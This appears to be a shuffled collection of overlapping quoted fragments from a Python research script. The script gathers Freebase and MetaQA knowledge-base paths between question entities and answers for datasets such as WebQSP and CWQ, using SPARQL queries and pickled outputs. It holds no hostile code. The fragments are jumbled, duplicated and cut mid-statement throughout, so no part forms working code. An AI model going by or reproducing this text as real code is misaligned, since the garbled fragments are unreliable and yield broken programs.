"\" ?r1 ?e1 . ?e1 ?r2 ns:\" + ans_ent + \". }\" ret",
"= set() for qid, _ in qid2qents.items(): if qid not in all_subgraphs: empty_qids.add(qid)",
"= [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents)): if st <= ctr <",
"\"select distinct ?r1 where { \" + \"ns:\" + q_ent + \" ?r1",
"is_exception = ret[1] if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0]))",
"= qid2answers[qid] for q_ent in q_ents: for ans_ent in ans_ents: spql_2_hop = \"select",
"parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\", type=int,",
"q_ents: for ans_ent in answers: spql_1_hop_literal = \"select distinct ?r1 where { \"",
"qid2answers[qid] len_q = 0 for q_ent in q_ents: for ans_ent in ans_ents: paths",
"= get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'cwq': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file,",
"handle such cases. print(\"Number of queries: {}\".format(len(all_subgraphs))) empty_qids = set() for qid, _",
"for (qid, q_ents) in sorted(qid2qents.items(), key=lambda item: item[0])] job_size = len(qid2qents) / args.total_jobs",
"return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'cwq': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif",
"+ args.job_id) * job_size print(\"St: {}, En: {}\".format(st, en)) empty_ctr = 0 all_len",
"if st <= ctr < en: ans_ents = qid2answers[qid] len_q = 0 for",
"# immediate neighborhood. Unfortunately we can only look in the one-hop neighborhood. #",
"qid2qents.items(): if qid not in all_subgraphs: empty_qids.add(qid) for empty_qid in tqdm(empty_qids): q_ents =",
"entities and answers all_subgraphs = defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid, q_ents)",
"q_ents: for ans_ent in ans_ents: paths = find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en':",
"0: empty_ctr += 1 all_len.append(len_q) print(\"Empty_ctr: {} out of {} queries\".format(empty_ctr, (en -",
"in ans_ents: paths = find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': paths})",
"e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid, q_ents) for (qid, q_ents) in sorted(qid2qents.items(), key=lambda",
"not need SPARQL # read metaqa KB # find 1, 2, 3 hop",
"KB and not full Freebase, hence do not need SPARQL # read metaqa",
"handle them, issue a special query that look for those strings in the",
"parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\", type=int,",
"if args.dataset_name.lower() == 'webqsp': qid2qents, qid2answers, qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower()",
"type=int, default=0) parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\", type=int, default=1) args = parser.parse_args() args.use_wandb =",
"= os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) print(\"Min: {}, Mean:",
"\". }\" ret = execute_kb_query_for_hops(spql_1_hop, hop=1) if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent,",
"in q_ents: for ans_ent in ans_ents: spql_2_hop = \"select distinct ?r1 ?r2 where",
"with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) print(\"Min: {}, Mean: {}, Median: {},",
"q_ents = qid2qents[empty_qid] answers = qid2answers[empty_qid] for q_ent in q_ents: for ans_ent in",
"all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop) # there are some",
"because # the entities are string literals and the queries above dont work",
"sorted(qid2qents.items(), key=lambda item: item[0])] job_size = len(qid2qents) / args.total_jobs st = args.job_id *",
"how # to handle such cases. print(\"Number of queries: {}\".format(len(all_subgraphs))) empty_qids = set()",
"do not need SPARQL # read metaqa KB # find 1, 2, 3",
"\". }\" ret = execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception = ret[1] if not is_exception: all_subgraphs[qid].append({'st':",
"for literals: {}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs,",
"parser.parse_args() args.use_wandb = (args.use_wandb == 1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() == 'webqsp':",
"ans_ents: spql_2_hop = \"select distinct ?r1 ?r2 where { \" + \"ns:\" +",
"out of {} queries\".format(empty_ctr, (en - st))) out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing",
"len(paths) if len_q == 0: empty_ctr += 1 all_len.append(len_q) print(\"Empty_ctr: {} out of",
"type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\")",
"len_q == 0: empty_ctr += 1 all_len.append(len_q) print(\"Empty_ctr: {} out of {} queries\".format(empty_ctr,",
"ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception = ret[1] if not",
"'chains': paths}) len_q += len(paths) if len_q == 0: empty_ctr += 1 all_len.append(len_q)",
"?r2 where { \" + \"ns:\" + q_ent + \" ?r1 ?e1 .",
"== 'cwq': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'freebaseqa':",
"# to handle such cases. print(\"Number of queries: {}\".format(len(all_subgraphs))) empty_qids = set() for",
"default_rng import numpy as np import argparse import wandb rng = default_rng() from",
"for q_ent in q_ents: for ans_ent in ans_ents: paths = find_paths(e1_map, q_ent, ans_ent)",
"else: all_subgraphs = defaultdict(list) all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents.items())):",
"os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file at {}\".format(out_file)) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs,",
"that look for those strings in the # immediate neighborhood. Unfortunately we can",
"}\" ret = execute_kb_query_for_hops(spql_1_hop, hop=1) if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains':",
"qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'freebaseqa': qid2qents, qid2answers,",
"+ \". }\" ret = execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception = ret[1] if not is_exception:",
"not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop) # there",
"empty_qids = set() for qid, _ in qid2qents.items(): if qid not in all_subgraphs:",
"queries above dont work # To handle them, issue a special query that",
"entities are string literals and the queries above dont work # To handle",
"between question entities and answers all_subgraphs = defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents =",
"= '\" + ans_ent + \"') }\" ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception =",
"of queries: {}\".format(len(all_subgraphs))) empty_qids = set() for qid, _ in qid2qents.items(): if qid",
"3 hop paths between question entities and answers all_subgraphs = defaultdict(list) e1_map =",
"subgraphs around entities using CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str,",
"for which the (above) query didnt execute because # the entities are string",
"from collections import defaultdict from tqdm import tqdm import pickle from numpy.random import",
"?r1 ?r2 where { \" + \"ns:\" + q_ent + \" ?r1 ?e1",
"collections import defaultdict from tqdm import tqdm import pickle from numpy.random import default_rng",
"one-hop neighborhood. # Doing more that takes way too much per query. Worth",
"CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\",",
"ans_ent, 'chains': paths}) len_q += len(paths) if len_q == 0: empty_ctr += 1",
"\"') }\" ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception = ret[1] if not is_exception: all_subgraphs[empty_qid].append({'st':",
"ret[1] if not is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal)",
"+ \" ?r1 ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_1_hop, hop=1)",
"for ans_ent in ans_ents: paths = find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent,",
"as fout: pickle.dump(all_subgraphs, fout) print(\"Min: {}, Mean: {}, Median: {}, Max:{}\".format(np.min(all_len), np.mean(all_len), np.median(all_len),",
"in tqdm(enumerate(qid2qents)): if st <= ctr < en: ans_ents = qid2answers[qid] len_q =",
"read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid, q_ents) for (qid, q_ents) in sorted(qid2qents.items(), key=lambda item: item[0])]",
"{ \" + \"ns:\" + q_ent + \" ?r1 ?e1 . ?e1 ?r2",
"args.dataset_name.lower() == 'metaqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() ==",
"+= len(paths) if len_q == 0: empty_ctr += 1 all_len.append(len_q) print(\"Empty_ctr: {} out",
"?e1. FILTER(STR(?e1) = '\" + ans_ent + \"') }\" ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1)",
"get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() == 'metaqa': # metaqa has its own KB and",
"ctr < en: ans_ents = qid2answers[qid] len_q = 0 for q_ent in q_ents:",
"expert, how # to handle such cases. print(\"Number of queries: {}\".format(len(all_subgraphs))) empty_qids =",
"for ans_ent in answers: spql_1_hop_literal = \"select distinct ?r1 where { \" +",
"tqdm(enumerate(qid2qents)): if st <= ctr < en: ans_ents = qid2answers[qid] len_q = 0",
"out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) print(\"Min: {},",
"args.use_wandb = (args.use_wandb == 1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() == 'webqsp': qid2qents,",
"st = args.job_id * job_size en = (1 + args.job_id) * job_size print(\"St:",
"?r1 where { \" + \"ns:\" + q_ent + \" ?r1 ns:\" +",
"+ \"ns:\" + q_ent + \" ?r1 ns:\" + ans_ent + \". }\"",
"= execute_kb_query_for_hops(spql_1_hop, hop=1) if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0]))",
"a special query that look for those strings in the # immediate neighborhood.",
"didnt execute because # the entities are string literals and the queries above",
"(qid, q_ents) in sorted(qid2qents.items(), key=lambda item: item[0])] job_size = len(qid2qents) / args.total_jobs st",
"after executing query for literals: {}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\")",
"qid2answers, qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'cwq': qid2qents, qid2answers, qid2gold_spqls,",
"from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if",
"empty_qid in tqdm(empty_qids): q_ents = qid2qents[empty_qid] answers = qid2answers[empty_qid] for q_ent in q_ents:",
"execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if __name__ == '__main__': parser = argparse.ArgumentParser(description=\"Collect",
"all_len.append(len_q) print(\"Empty_ctr: {} out of {} queries\".format(empty_ctr, (en - st))) out_file = os.path.join(args.output_dir,",
"\\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if __name__ == '__main__': parser",
"those strings in the # immediate neighborhood. Unfortunately we can only look in",
"type=int, default=1) args = parser.parse_args() args.use_wandb = (args.use_wandb == 1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\")",
"all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': paths}) len_q += len(paths) if len_q == 0:",
"ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop) # there are some qids for which",
"<filename>adaptive_subgraph_collection/find_chains_in_full_KB.py<gh_stars>1-10 import os from collections import defaultdict from tqdm import tqdm import pickle",
"args.dataset_name.lower() == 'metaqa': # metaqa has its own KB and not full Freebase,",
"elif args.dataset_name.lower() == 'freebaseqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() ==",
"q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop) # there are some qids",
"answers = qid2answers[empty_qid] for q_ent in q_ents: for ans_ent in answers: spql_1_hop_literal =",
"neighborhood. # Doing more that takes way too much per query. Worth asking",
"ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number of queries after executing query for",
"are some qids for which the (above) query didnt execute because # the",
"pickle.dump(all_subgraphs, fout) else: all_subgraphs = defaultdict(list) all_len = [] for ctr, (qid, q_ents)",
"+ \". }\" ret = execute_kb_query_for_hops(spql_1_hop, hop=1) if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en':",
"defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid, q_ents) for (qid, q_ents) in sorted(qid2qents.items(),",
"qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() == 'metaqa': # metaqa has its own",
"way too much per query. Worth asking some SPARQL expert, how # to",
"q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop = \"select distinct ?r1",
"not full Freebase, hence do not need SPARQL # read metaqa KB #",
"= defaultdict(list) all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents =",
"answers all_subgraphs = defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid, q_ents) for (qid,",
"fout: pickle.dump(all_subgraphs, fout) print(\"Min: {}, Mean: {}, Median: {}, Max:{}\".format(np.min(all_len), np.mean(all_len), np.median(all_len), np.max(all_len)))",
"default=1) args = parser.parse_args() args.use_wandb = (args.use_wandb == 1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if",
"in sorted(qid2qents.items(), key=lambda item: item[0])] job_size = len(qid2qents) / args.total_jobs st = args.job_id",
"= execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception = ret[1] if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent,",
"print(spql_2_hop) spql_1_hop = \"select distinct ?r1 where { \" + \"ns:\" + q_ent",
"\" + \"ns:\" + q_ent + \" ?r1 ns:\" + ans_ent + \".",
"print(\"Empty_ctr: {} out of {} queries\".format(empty_ctr, (en - st))) out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(),",
"parser.add_argument(\"--use_wandb\", type=int, default=1) args = parser.parse_args() args.use_wandb = (args.use_wandb == 1) if args.use_wandb:",
"args.dataset_name.lower() == 'webqsp': qid2qents, qid2answers, qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() ==",
"Unfortunately we can only look in the one-hop neighborhood. # Doing more that",
"find_paths if __name__ == '__main__': parser = argparse.ArgumentParser(description=\"Collect subgraphs around entities using CBR\")",
"= defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid, q_ents) for (qid, q_ents) in",
"q_ents) in sorted(qid2qents.items(), key=lambda item: item[0])] job_size = len(qid2qents) / args.total_jobs st =",
"type=int, default=1) parser.add_argument(\"--use_wandb\", type=int, default=1) args = parser.parse_args() args.use_wandb = (args.use_wandb == 1)",
"import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if __name__ ==",
"spql_1_hop = \"select distinct ?r1 where { \" + \"ns:\" + q_ent +",
"(above) query didnt execute because # the entities are string literals and the",
"import default_rng import numpy as np import argparse import wandb rng = default_rng()",
"qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() == 'metaqa': # metaqa has its",
"\"ns:\" + q_ent + \" ?r1 ?e1 . ?e1 ?r2 ns:\" + ans_ent",
"qid2answers[qid] for q_ent in q_ents: for ans_ent in ans_ents: spql_2_hop = \"select distinct",
"= default_rng() from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb,",
"'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number of queries after executing query",
"wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() == 'webqsp': qid2qents, qid2answers, qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif",
"more that takes way too much per query. Worth asking some SPARQL expert,",
"args.job_id * job_size en = (1 + args.job_id) * job_size print(\"St: {}, En:",
"executing query for literals: {}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\") as",
"asking some SPARQL expert, how # to handle such cases. print(\"Number of queries:",
"FILTER(STR(?e1) = '\" + ans_ent + \"') }\" ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception",
"}\" ret = execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception = ret[1] if not is_exception: all_subgraphs[qid].append({'st': q_ent,",
"+ \" ?r1 ?e1 . ?e1 ?r2 ns:\" + ans_ent + \". }\"",
"q_ent in q_ents: for ans_ent in ans_ents: spql_2_hop = \"select distinct ?r1 ?r2",
"< en: ans_ents = qid2answers[qid] len_q = 0 for q_ent in q_ents: for",
"'metaqa': # metaqa has its own KB and not full Freebase, hence do",
"[] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid] for q_ent in",
"tqdm import pickle from numpy.random import default_rng import numpy as np import argparse",
"above dont work # To handle them, issue a special query that look",
"string literals and the queries above dont work # To handle them, issue",
"as np import argparse import wandb rng = default_rng() from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers,",
"2, 3 hop paths between question entities and answers all_subgraphs = defaultdict(list) e1_map",
"read metaqa KB # find 1, 2, 3 hop paths between question entities",
"ctr, (qid, q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid] for q_ent in q_ents: for",
"numpy.random import default_rng import numpy as np import argparse import wandb rng =",
"dont work # To handle them, issue a special query that look for",
"to handle such cases. print(\"Number of queries: {}\".format(len(all_subgraphs))) empty_qids = set() for qid,",
"type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\", type=int, default=1) args =",
"\" ?r1 ?e1. FILTER(STR(?e1) = '\" + ans_ent + \"') }\" ret =",
"1, 2, 3 hop paths between question entities and answers all_subgraphs = defaultdict(list)",
"literals: {}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout)",
"{}\".format(len(all_subgraphs))) empty_qids = set() for qid, _ in qid2qents.items(): if qid not in",
"some SPARQL expert, how # to handle such cases. print(\"Number of queries: {}\".format(len(all_subgraphs)))",
"= 0 for q_ent in q_ents: for ans_ent in ans_ents: paths = find_paths(e1_map,",
"q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': paths}) len_q += len(paths) if len_q",
"job_size = len(qid2qents) / args.total_jobs st = args.job_id * job_size en = (1",
"= get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'freebaseqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file)",
"need SPARQL # read metaqa KB # find 1, 2, 3 hop paths",
"own KB and not full Freebase, hence do not need SPARQL # read",
"= qid2answers[empty_qid] for q_ent in q_ents: for ans_ent in answers: spql_1_hop_literal = \"select",
"print(spql_1_hop_literal) print(\"Number of queries after executing query for literals: {}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir,",
"st))) out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file at {}\".format(out_file)) with open(out_file, \"wb\")",
"print(spql_1_hop) # there are some qids for which the (above) query didnt execute",
"and the queries above dont work # To handle them, issue a special",
"= args.job_id * job_size en = (1 + args.job_id) * job_size print(\"St: {},",
"(en - st))) out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file at {}\".format(out_file)) with",
"for q_ent in q_ents: for ans_ent in ans_ents: spql_2_hop = \"select distinct ?r1",
"default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\",",
"where { \" + \"ns:\" + q_ent + \" ?r1 ?e1 . ?e1",
"and not full Freebase, hence do not need SPARQL # read metaqa KB",
"en = (1 + args.job_id) * job_size print(\"St: {}, En: {}\".format(st, en)) empty_ctr",
"{}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) print(\"Min:",
"qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() == 'metaqa': # metaqa",
"qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() == 'metaqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str",
"__name__ == '__main__': parser = argparse.ArgumentParser(description=\"Collect subgraphs around entities using CBR\") parser.add_argument(\"--train_file\", type=str,",
"which the (above) query didnt execute because # the entities are string literals",
"get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if __name__ == '__main__': parser =",
"paths = find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': paths}) len_q +=",
"are string literals and the queries above dont work # To handle them,",
"q_ent + \" ?r1 ?e1. FILTER(STR(?e1) = '\" + ans_ent + \"') }\"",
"?r1 where { \" + \"ns:\" + q_ent + \" ?r1 ?e1. FILTER(STR(?e1)",
"= get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() == 'metaqa': # metaqa has its own KB",
"item[0])] job_size = len(qid2qents) / args.total_jobs st = args.job_id * job_size en =",
"empty_ctr = 0 all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents)): if",
"ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop = \"select distinct ?r1 where { \" +",
"execute_kb_query_for_hops(spql_1_hop, hop=1) if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else:",
"job_size en = (1 + args.job_id) * job_size print(\"St: {}, En: {}\".format(st, en))",
"ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number of queries after executing query for literals: {}\".format(len(all_subgraphs)))",
"* job_size en = (1 + args.job_id) * job_size print(\"St: {}, En: {}\".format(st,",
"adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if __name__",
"q_ent in q_ents: for ans_ent in answers: spql_1_hop_literal = \"select distinct ?r1 where",
"queries after executing query for literals: {}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file,",
"special query that look for those strings in the # immediate neighborhood. Unfortunately",
"ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop = \"select distinct ?r1 where {",
"the one-hop neighborhood. # Doing more that takes way too much per query.",
"is_exception = ret[1] if not is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0]))",
"print(\"St: {}, En: {}\".format(st, en)) empty_ctr = 0 all_len = [] for ctr,",
"qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'freebaseqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str =",
"else: print(spql_1_hop_literal) print(\"Number of queries after executing query for literals: {}\".format(len(all_subgraphs))) out_file =",
"all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid] for",
"import defaultdict from tqdm import tqdm import pickle from numpy.random import default_rng import",
"for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents)): if st <= ctr < en: ans_ents",
"all_subgraphs = defaultdict(list) all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents",
"job_size print(\"St: {}, En: {}\".format(st, en)) empty_ctr = 0 all_len = [] for",
"+ \"') }\" ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception = ret[1] if not is_exception:",
"{ \" + \"ns:\" + q_ent + \" ?r1 ns:\" + ans_ent +",
"q_ents) for (qid, q_ents) in sorted(qid2qents.items(), key=lambda item: item[0])] job_size = len(qid2qents) /",
"for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid] for q_ent in q_ents:",
"from numpy.random import default_rng import numpy as np import argparse import wandb rng",
"= \"select distinct ?r1 where { \" + \"ns:\" + q_ent + \"",
"ans_ent + \"') }\" ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception = ret[1] if not",
